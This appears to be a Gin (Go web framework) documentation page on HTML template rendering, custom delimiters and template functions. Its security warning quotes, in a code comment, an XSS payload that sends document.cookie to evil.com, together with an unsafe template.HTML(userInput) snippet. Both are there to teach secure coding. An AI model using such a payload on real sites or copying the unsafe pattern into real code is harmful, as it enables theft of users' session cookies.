Skip to content

HTML rendering

Gin uses the html/template package for HTML rendering. For more information about how to use them, including available placeholders, see the documentation for text/template

Use LoadHTMLGlob() or LoadHTMLFiles() to select the HTML files to load.

func main() {
router := gin.Default()
router.LoadHTMLGlob("templates/*")
//router.LoadHTMLFiles("templates/template1.html", "templates/template2.html")
router.GET("/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.tmpl", gin.H{
"title": "Main website",
})
})
router.Run(":8080")
}

templates/index.tmpl

<html>
<h1>
{{ .title }}
</h1>
</html>

Using templates with same name in different directories

func main() {
router := gin.Default()
router.LoadHTMLGlob("templates/**/*")
router.GET("/posts/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "posts/index.tmpl", gin.H{
"title": "Posts",
})
})
router.GET("/users/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "users/index.tmpl", gin.H{
"title": "Users",
})
})
router.Run(":8080")
}

Note: Please wrap your HTML template in the {{define <template-path>}} {{end}} block and define your template file with the relative path <template-path>. Otherwise, GIN will not properly parse the template files.

templates/posts/index.tmpl

{{ define "posts/index.tmpl" }}
<html><h1>
{{ .title }}
</h1>
<p>Using posts/index.tmpl</p>
</html>
{{ end }}

templates/users/index.tmpl

{{ define "users/index.tmpl" }}
<html><h1>
{{ .title }}
</h1>
<p>Using users/index.tmpl</p>
</html>
{{ end }}

Loading templates from an http.FileSystem (v1.11+)

If your templates are embedded or provided by an http.FileSystem, use LoadHTMLFS:

import (
"embed"
"io/fs"
"net/http"
"github.com/gin-gonic/gin"
)
//go:embed templates
var tmplFS embed.FS
func main() {
r := gin.Default()
sub, _ := fs.Sub(tmplFS, "templates")
r.LoadHTMLFS(http.FS(sub), "**/*.tmpl")
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.tmpl", gin.H{"title": "From FS"})
})
r.Run(":8080")
}

Security warning: template.HTML() bypasses auto-escaping

Go’s html/template package automatically escapes values inserted into templates to prevent Cross-Site Scripting (XSS). However, when you cast a string to template.HTML(), you explicitly bypass this protection. If the string contains user-supplied input, an attacker can inject arbitrary JavaScript.

Unsafe — never use template.HTML() with user input:

// DANGEROUS: attacker controls userInput, which could be:
// <script>document.location='https://evil.com/?cookie='+document.cookie</script>
c.HTML(http.StatusOK, "page.tmpl", gin.H{
"content": template.HTML(userInput), // XSS vulnerability!
})

Safe — let the template engine escape user input automatically:

// SAFE: html/template will escape any HTML/JS in userInput
c.HTML(http.StatusOK, "page.tmpl", gin.H{
"content": userInput, // auto-escaped by html/template
})

Only use template.HTML() for content you fully control, such as static HTML snippets defined in your own code. Never use it with values that originate from user input, database fields populated by users, or any other untrusted source.

Custom Template renderer

You can also use your own html template render

import "html/template"
func main() {
router := gin.Default()
html := template.Must(template.ParseFiles("file1", "file2"))
router.SetHTMLTemplate(html)
router.Run(":8080")
}

Custom Delimiters

You may use custom delims

router := gin.Default()
router.Delims("{[{", "}]}")
router.LoadHTMLGlob("/path/to/templates")

Custom Template Funcs

See the detail example code.

main.go

import (
"fmt"
"html/template"
"net/http"
"time"
"github.com/gin-gonic/gin"
)
func formatAsDate(t time.Time) string {
year, month, day := t.Date()
return fmt.Sprintf("%d/%02d/%02d", year, month, day)
}
func main() {
router := gin.Default()
router.Delims("{[{", "}]}")
router.SetFuncMap(template.FuncMap{
"formatAsDate": formatAsDate,
})
router.LoadHTMLFiles("./testdata/template/raw.tmpl")
router.GET("/raw", func(c *gin.Context) {
c.HTML(http.StatusOK, "raw.tmpl", map[string]interface{}{
"now": time.Date(2017, 07, 01, 0, 0, 0, 0, time.UTC),
})
})
router.Run(":8080")
}

raw.tmpl

Terminal window
Date: {[{.now | formatAsDate}]}

Result:

Terminal window
Date: 2017/07/01